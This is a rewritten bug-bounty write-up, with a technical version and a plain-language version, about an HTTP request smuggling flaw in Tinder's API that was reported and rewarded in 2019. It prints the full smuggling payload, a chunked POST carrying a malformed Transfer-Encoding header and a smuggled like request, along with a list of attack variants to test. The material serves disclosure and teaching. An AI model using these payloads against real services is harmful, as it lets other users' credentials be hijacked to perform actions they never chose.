How Did Tons of People Like Me on Tinder?
Tinder's API was vulnerable to HTTP request smuggling, allowing the attacker to inject a crafted request that caused other users' requests to be joined with a 'like' request for the attacker's profile. This resulted in the attacker receiving hundreds of likes in minutes without those users actually swiping right.
Published on pastebin.com
The original lives on pastebin.com
We do not hold its text, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
The target here is Tinder, and specifically its backend API at api.gotinder.com, which accepts requests in JSON format. The feature in the spotlight is the "like": when a user swipes right on someone, the app sends a request to the API to register that like against the recipient's user id. The write-up is about abusing HTTP request smuggling against Tinder's applications so that other users' own requests end up liking the author's account, without those users ever swiping right.
The author had been using the app since 2016 and had wanted a Tinder vulnerability of his own for a while. He notes that when Anand Prakash posted about a bug he had found in Tinder (which turned out to actually be on AccountKit by Facebook), he made a facepalm, because he had guessed the same vulnerability but had been too lazy and hopeless to check it out. Since then a nice Tinder vulnerability sat on his to-do list.
Setup
The trigger for this work was James Kettle's paper on HTTP request smuggling, published in August 2019. The author read it, was impressed by the technical details and consequences, and thought it might make it possible to exploit other attack scenarios he had in mind. He started looking for places he would like to hack, and found that Tinder's multiple applications were vulnerable to smuggling attacks. The write-up recommends reading the paper, otherwise the rest of the post may not make sense.
The tooling was Burp Suite with its smuggling extension. The author modified the extension's script so that it would send only the attack request and not the victim requests. The extension configuration was something like the screenshot below.
Screen Shot 2019-11-24 at 00.21.48
On the account side, the author used his own Tinder user id, referred to in the requests as __BENIM_ID__ (and in one place __BENİM_ID__). The dynamic parts of a like request are the id of the person being liked plus some authorisation and authentication tokens.
Finding it
The author first reported the smuggling vulnerability without a proof of concept, on 14 August 2019, to get rid of a potential duplicate (which he calls the nightmare of a bug bounty hunter) and to find out whether the issue was already known. It was not.
With the vulnerability confirmed, the next problem was building a useful exploit. Tinder's app uses the backend api.gotinder.com, which accepts requests as JSON formatted, and this creates a tasteless situation when exploiting a smuggling vulnerability. He had not come across a handy cache mechanism at a glance, so he searched a bit and focused on the "like" request, which is sent using the GET method.
Exploitation
Step 1: capture a normal like request
The baseline is an ordinary like request. __BENIM_ID__ is the author's own Tinder user id; the dynamic parts are the id of the person being liked and the authorisation and authentication tokens.
GET /like/__BENİM_ID__?locale=tr&s_number=852101394 HTTP/1.1
Host: api.gotinder.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: application/json
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://tinder.com/
app-session-id: _belongs_the_one_who_send like__
app-session-time-elapsed: 456121
app-version: 1021300
persistent-device-id: _belongs_the_one_who_send_like__
tinder-version: 2.13.0
user-session-id: _belongs_the_one_who_send like__
user-session-time-elapsed: 456048
x-supported-image-formats: jpeg
platform: web
X-Auth-Token: _belongs_the_one_who_send like__
Origin: https://tinder.com
Connection: close
The path carries the id of the user being liked, and the session and auth headers identify the sender. In a smuggling attack the attacker wants the victim to supply the authorisation and authentication headers.
Step 2: build the malicious prefix request
The author needed to build a malicious request and join it together with a request that likes his account. He came up with the following.
POST /profile/photos HTTP/1.1
Host: api.gotinder.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: application/json
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://tinder.com/
app-session-id: _snipped_
app-session-time-elapsed: 1959835
app-version: 1020406
persistent-device-id: _snipped_
user-session-id: _snipped_
user-session-time-elapsed: 236
x-supported-image-formats: jpeg
platform: web
X-Auth-Token: _snipped_
Origin: https://tinder.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 104
Transfer-Encoding : chunked
9
locale=tr
0
GET /like/__BENİM_ID__?locale=en&s_number=799974200 HTTP/1.1
X-Ignore: X
There is no special purpose to /profile/photos; it is enough that the request is not rejected and not directed to a different endpoint. The chunked body (9, locale=tr, 0) is part of the malicious request. The trailing GET /like/__BENİM_ID__?... is the smuggled prefix: a like request aimed at the author's own account. Note the Transfer-Encoding : chunked header with a space before the colon, and the X-Ignore: X header.
The smuggled like request is deliberately stripped down. As the author explains, there is not much left from the original like request, because the idea is to let the victim complete the rest with his or her own request. Smuggling joins our request (the prefix) with the victim's request, so the victims complete it with their own authorisation and authentication headers.
Step 3: fire the attack
With the Burp smuggling extension configured to send only the attack request and not the victim requests, the author fired up the attack button. He got hundreds of likes in minutes.
Root cause
The underlying issue is HTTP request smuggling: the front-end and back-end servers disagree about the boundaries of a request, so bytes the attacker places after the end of one request are interpreted by the back end as the start of the next one. Here the attacker's chunked POST /profile/photos request is followed by a partial GET /like/... request, and the next request that arrives on the same connection (from another user) is appended to it, supplying the missing headers and credentials. The report does not describe the specific parsing discrepancy between the servers, so the exact mechanism is not stated.
Impact
The author got a working proof of concept: hundreds of likes in minutes. As he puts it, those users had not swiped right on him, but he had made them like his account. He describes this as an ultimate "boost" feature for free, and notes that by using it he could enumerate all users on Tinder or sell an ultimate boosting service. Likes are nice, but, as a Turkish saying goes, nothing pleasant comes from enforcement, so it was time to add the proof of concept to the report, on 24 August 2019.
He also says it would have been his second laziness not to escalate it to a full account takeover vulnerability, but the Tinder team mitigated the issue within hours, which threw him a curve. So the account takeover was contemplated but not demonstrated here.
He reported the smuggling issue for other Tinder domains as well, and all of them were marked as duplicates of the report described in this post. Even though the issue was mitigated within hours, it took months to be marked as resolved: on 22 October it was marked resolved and rewarded with $2.5K.
Fix
The report does not describe the fix that Tinder applied; it only says the issue was mitigated within hours. The general remedy for request smuggling is to make the front end and back end agree on request boundaries, for example by rejecting requests that carry both Content-Length and Transfer-Encoding, by normalising or rejecting malformed headers such as Transfer-Encoding : chunked with a space before the colon, and by having the front end normalise or reject ambiguous framing before forwarding.
Variants to test
- Send a chunked
POSTto an endpoint that is accepted and not redirected, followed by a partialGETto a state-changing endpoint, and watch whether the next request on the connection completes it. A positive result is a state change attributed to another user's credentials. - Try the same with a header that absorbs the remainder of the victim's request, such as
X-Ignore: X, and check whether the smuggled request is parsed as intended. - Test malformed framing headers, for example
Transfer-Encoding : chunkedwith a space before the colon, against each front-end and back-end pair. A positive result is a difference in how the two tiers interpret the same bytes. - Repeat against other domains of the same organisation, since the author found the issue on multiple Tinder applications. A positive result is the same smuggling behaviour on a sibling host.
- Look for state-changing
GETendpoints, like the like endpoint here, that require only the victim's own session headers. A positive result is an action performed on the attacker's behalf using the victim's credentials.
What happened, in plain words
Tinder is a dating app. When you see someone you find interesting, you swipe right, and the app records that you "like" that person. The other person may then see that you liked them.
Mustafa iran found a way to make other users' own requests complete a like on his account, without those people ever swiping right on him. He did this by abusing a class of bug called HTTP request smuggling. In a few minutes he received hundreds of likes. He reported the issue to Tinder, and it was eventually marked as resolved and rewarded with $2,500.
This post walks through the whole story from the beginning, explaining every technical idea as it comes up. You only need to know how to use a browser and a computer to follow it.
Background: what Tinder does and what a "like" is
Tinder shows you one profile at a time. You swipe left to pass, or right to like. When you swipe right, the app on your phone does not just store that locally: it sends a message over the internet to Tinder's servers, saying "this user liked that user". The servers record it, and the other person may be notified.
That message is an HTTP request. HTTP is the language browsers and apps use to talk to web servers. Every time you load a page or tap a button that talks to the internet, an HTTP request goes out and an HTTP response comes back. A request has a few parts:
- A method and a path, for example
GET /like/12345. The method says what kind of action you want (GETusually means "read something",POSTusually means "send something"). The path says which thing you want. - Headers: extra lines of information, like
Host:(which server you are talking to) orX-Auth-Token:(a secret that proves who you are). - Sometimes a body: extra data sent along with the request.
A token is a long random string that acts like a temporary password. When you log in, the server gives your app a token, and the app sends it back with every request so the server knows who you are. A session is the period during which that token is valid. If someone else gets your token, they can pretend to be you.
An API (Application Programming Interface) is the set of addresses and rules a server offers so that apps can talk to it. Tinder's app does not talk to the website you see in a browser; it talks to a separate backend API at api.gotinder.com. That API accepts requests whose data is formatted as JSON, which is a simple text format for structured data, looking like {"name": "value"}.
The setup: a paper, a tool, and a to-do list
The author had been using Tinder since 2016. He mentions that when another researcher, Anand Prakash, posted about a bug he had found in Tinder (which turned out to actually be on AccountKit by Facebook), he made a facepalm, because he had guessed the same vulnerability but had been too lazy and hopeless to check it out. Since then, finding a nice Tinder vulnerability sat on his to-do list.
The trigger for this work was a paper on HTTP request smuggling published by James Kettle in August 2019. The author read it, was impressed by the technical details and consequences, and thought it might make it possible to exploit other attack scenarios he had in mind. He started looking for places he would like to hack, and found that Tinder's multiple applications were vulnerable to smuggling attacks. He recommends reading the paper, otherwise the rest of the post may not make sense.
What is HTTP request smuggling?
Imagine a postal sorting office. A letter arrives in an envelope. The front desk opens the envelope, reads the address, and passes the contents to the right department. Now imagine the front desk and the department disagree about where one letter ends and the next begins. The front desk might think a letter ends after line 10, while the department thinks it ends after line 15. If an attacker can craft a letter that exploits that disagreement, the department may read the attacker's extra lines as the beginning of the next person's letter.
That is HTTP request smuggling. In real life, a website often sits behind two layers of servers: a front-end server (often a proxy or load balancer) that receives requests from the internet, and a back-end server that actually processes them. Both need to agree on where each request ends. They usually decide this using headers like Content-Length (how many bytes the body has) or Transfer-Encoding: chunked (the body is sent in pieces, each piece preceded by its size). If the two layers interpret these headers differently, an attacker can slip extra bytes in that the back end treats as the start of the next request.
The tooling was Burp Suite, a program security researchers use to intercept and modify HTTP traffic, together with its smuggling extension. The author modified the extension's script so that it would send only the attack request and not the victim requests. The extension configuration was something like the screenshot below.
Screen Shot 2019-11-24 at 00.21.48
On the account side, the author used his own Tinder user id, referred to in the requests as __BENIM_ID__ (and in one place __BENİM_ID__). The dynamic parts of a like request are the id of the person being liked plus some authorisation and authentication tokens.
Finding it: report first, exploit later
The author first reported the smuggling vulnerability without a proof of concept, on 14 August 2019. A proof of concept (POC) is a small demonstration that shows a bug is real and exploitable. He sent the report without one for two reasons: to get rid of a potential duplicate (which he calls the nightmare of a bug bounty hunter) and to find out whether the issue was already known. It was not.
A bug bounty is a programme where companies pay researchers for reporting security bugs. A duplicate is when two researchers report the same bug; usually only the first report is rewarded, so researchers often send a quick report early to claim the find, then follow up with details.
With the vulnerability confirmed, the next problem was building a useful exploit. Tinder's app uses the backend api.gotinder.com, which accepts requests as JSON formatted, and this creates a tasteless situation when exploiting a smuggling vulnerability. He had not come across a handy cache mechanism at a glance, so he searched a bit and focused on the "like" request, which is sent using the GET method.
A cache is a storage layer that keeps copies of responses so they can be served faster. Attackers sometimes use caches to make smuggled requests reach many users. Here the author did not find a convenient cache to abuse, so he looked for another way to make the smuggled request do something useful.
Exploitation
Step 1: capture a normal like request
The baseline is an ordinary like request. __BENIM_ID__ is the author's own Tinder user id; the dynamic parts are the id of the person being liked and the authorisation and authentication tokens.
GET /like/__BENİM_ID__?locale=tr&s_number=852101394 HTTP/1.1
Host: api.gotinder.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: application/json
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://tinder.com/
app-session-id: _belongs_the_one_who_send like__
app-session-time-elapsed: 456121
app-version: 1021300
persistent-device-id: _belongs_the_one_who_send_like__
tinder-version: 2.13.0
user-session-id: _belongs_the_one_who_send like__
user-session-time-elapsed: 456048
x-supported-image-formats: jpeg
platform: web
X-Auth-Token: _belongs_the_one_who_send like__
Origin: https://tinder.com
Connection: close
Line by line:
GET /like/__BENİM_ID__?locale=tr&s_number=852101394 HTTP/1.1is the request line.GETis the method./like/__BENİM_ID__is the path: it says "record a like for the user whose id is here". The?locale=tr&s_number=852101394part is the query string, extra parameters sent along with the path.locale=trands_number=852101394are query parameters the app includes.HTTP/1.1is the version of the protocol.Host: api.gotinder.comtells the server which site the request is for. One server can host many sites, so this header is required.User-Agent: ...identifies the browser and operating system that sent the request. Here it claims to be Firefox 70 on Windows 10.Accept: application/jsonsays the client expects a JSON response.Accept-Language: ...lists the languages the client prefers.Accept-Encoding: gzip, deflatesays the client can accept compressed responses.Referer: https://tinder.com/says which page the request came from.app-session-id,app-session-time-elapsed,app-version,persistent-device-id,tinder-version,user-session-id,user-session-time-elapsed,x-supported-image-formats,platformare headers the Tinder app sends to describe itself and its session. The values here are placeholders:_belongs_the_one_who_send like__means "this value belongs to whoever sends the like".X-Auth-Token: _belongs_the_one_who_send like__is the most important one: it is the token that proves who is sending the request.Origin: https://tinder.comsays which site the request originated from.Connection: closetells the server to close the connection after this request.
The path carries the id of the user being liked, and the session and auth headers identify the sender. In a smuggling attack the attacker wants the victim to supply the authorisation and authentication headers.
Step 2: build the malicious prefix request
The author needed to build a malicious request and join it together with a request that likes his account. He came up with the following.
POST /profile/photos HTTP/1.1
Host: api.gotinder.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: application/json
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://tinder.com/
app-session-id: _snipped_
app-session-time-elapsed: 1959835
app-version: 1020406
persistent-device-id: _snipped_
user-session-id: _snipped_
user-session-time-elapsed: 236
x-supported-image-formats: jpeg
platform: web
X-Auth-Token: _snipped_
Origin: https://tinder.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 104
Transfer-Encoding : chunked
9
locale=tr
0
GET /like/__BENİM_ID__?locale=en&s_number=799974200 HTTP/1.1
X-Ignore: X
Line by line:
POST /profile/photos HTTP/1.1is the request line.POSTis the method, used when sending data./profile/photosis the path. There is no special purpose to/profile/photos; it is enough that the request is not rejected and not directed to a different endpoint. In other words, the attacker just needs any address that the server will accept.- The headers from
Host:down toOrigin:are similar to the like request, but with_snipped_placeholders where the author removed values.Connection: keep-alivetells the server to keep the connection open after this request, which matters because the smuggled request will travel on the same connection. Content-Type: application/x-www-form-urlencodedsays the body is formatted like a web form.Content-Length: 104says the body is 104 bytes long.Transfer-Encoding : chunkedsays the body is sent in chunks. Notice the space before the colon inTransfer-Encoding : chunked.- The blank line after the headers marks the end of the headers and the start of the body.
9is the size of the first chunk, in bytes.locale=tris exactly 9 bytes long.0is the size of the final chunk, which marks the end of the body.- Then comes
GET /like/__BENİM_ID__?locale=en&s_number=799974200 HTTP/1.1, a new request line. This is the smuggled prefix: a like request aimed at the author's own account. X-Ignore: Xis a header included in the smuggled request.
The chunked body (9, locale=tr, 0) is what makes the front end and back end disagree about where the request ends. The trailing GET /like/__BENİM_ID__?... is the smuggled prefix: a like request aimed at the author's own account. Note the Transfer-Encoding : chunked header with a space before the colon, and the X-Ignore: X header, which is there to absorb the rest of the victim's request.
The smuggled like request is deliberately stripped down. As the author explains, there is not much left from the original like request, because the idea is to let the victim complete the rest with his or her own request. Smuggling joins our request (the prefix) with the victim's request, so the victims complete it with their own authorisation and authentication headers.
In plain words: the attacker sends a request that the front end thinks ends after the 0, but the back end thinks continues into the next request. The next request that arrives on the same connection, from another user, gets glued onto the attacker's smuggled GET /like/... line. That other user's own headers and token then complete the like request, so the like is recorded as if that user had swiped right on the author.
Step 3: fire the attack
With the Burp smuggling extension configured to send only the attack request and not the victim requests, the author fired up the attack button. He got hundreds of likes in minutes.
Root cause
The underlying issue is HTTP request smuggling: the front-end and back-end servers disagree about the boundaries of a request, so bytes the attacker places after the end of one request are interpreted by the back end as the start of the next one. Here the attacker's chunked POST /profile/photos request is followed by a partial GET /like/... request, and the next request that arrives on the same connection (from another user) is appended to it, supplying the missing headers and credentials. The report does not describe the specific parsing discrepancy between the servers, so the exact mechanism is not stated.
Impact
The author got a working proof of concept: hundreds of likes in minutes. As he puts it, those users had not swiped right on him, but he had made them like his account. He describes this as an ultimate "boost" feature for free, and notes that by using it he could enumerate all users on Tinder or sell an ultimate boosting service. Likes are nice, but, as a Turkish saying goes, nothing pleasant comes from enforcement, so it was time to add the proof of concept to the report, on 24 August 2019.
To enumerate users means to list them systematically, one by one. A boost is a paid Tinder feature that makes your profile more visible for a while. The author is saying that his technique gave him the effect of a boost without paying.
He also says it would have been his second laziness not to escalate it to a full account takeover vulnerability, but the Tinder team mitigated the issue within hours, which threw him a curve. So the account takeover was contemplated but not demonstrated here.
An account takeover is when an attacker gains control of someone else's account, for example by stealing their token. The author is saying that the same smuggling bug might have been pushed further to achieve that, but Tinder mitigated the issue within hours.
He reported the smuggling issue for other Tinder domains as well, and all of them were marked as duplicates of the report described in this post. Even though the issue was mitigated within hours, it took months to be marked as resolved: on 22 October it was marked resolved and rewarded with $2.5K.
Fix
The report does not describe the fix that Tinder applied; it only says the issue was mitigated within hours. The general remedy for request smuggling is to make the front end and back end agree on request boundaries, for example by rejecting requests that carry both Content-Length and Transfer-Encoding, by normalising or rejecting malformed headers such as Transfer-Encoding : chunked with a space before the colon, and by having the front end normalise or reject ambiguous framing before forwarding.
Variants to test
- Send a chunked
POSTto an endpoint that is accepted and not redirected, followed by a partialGETto a state-changing endpoint, and watch whether the next request on the connection completes it. A positive result is a state change attributed to another user's credentials. - Try the same with a header that absorbs the remainder of the victim's request, such as
X-Ignore: X, and check whether the smuggled request is parsed as intended. - Test malformed framing headers, for example
Transfer-Encoding : chunkedwith a space before the colon, against each front-end and back-end pair. A positive result is a difference in how the two tiers interpret the same bytes. - Repeat against other domains of the same organisation, since the author found the issue on multiple Tinder applications. A positive result is the same smuggling behaviour on a sibling host.
- Look for state-changing
GETendpoints, like the like endpoint here, that require only the victim's own session headers. A positive result is an action performed on the attacker's behalf using the victim's credentials.
Glossary
- API: the set of addresses and rules a server offers so that apps can talk to it.
- Account takeover: when an attacker gains control of someone else's account.
- Back end: the server that actually processes requests, usually behind a front end.
- Boost: a paid Tinder feature that makes your profile more visible for a while.
- Bug bounty: a programme where companies pay researchers for reporting security bugs.
- Burp Suite: a program security researchers use to intercept and modify HTTP traffic.
- Cache: a storage layer that keeps copies of responses so they can be served faster.
- Chunked: a way of sending a body in pieces, each piece preceded by its size.
- Content-Length: a header saying how many bytes the body has.
- Duplicate: when two researchers report the same bug; usually only the first report is rewarded.
- Enumerate: to list users systematically, one by one.
- Front end: the server, often a proxy or load balancer, that receives requests from the internet before passing them to the back end.
- GET: an HTTP method usually meaning "read something".
- Header: an extra line of information in an HTTP request or response.
- HTTP: the language browsers and apps use to talk to web servers.
- HTTP request smuggling: a class of bug where the front end and back end disagree about where one request ends and the next begins, letting an attacker slip extra bytes in.
- JSON: a simple text format for structured data, looking like
{"name": "value"}. - Method: the part of an HTTP request that says what kind of action you want, such as
GETorPOST. - Path: the part of an HTTP request that says which thing you want, such as
/like/12345. - POST: an HTTP method usually meaning "send something".
- Proof of concept (POC): a small demonstration that shows a bug is real and exploitable.
- Query string: extra parameters sent along with the path, after a
?. - Session: the period during which a token is valid.
- Token: a long random string that acts like a temporary password, proving who you are.
- Transfer-Encoding: a header saying how the body is encoded, for example
chunked.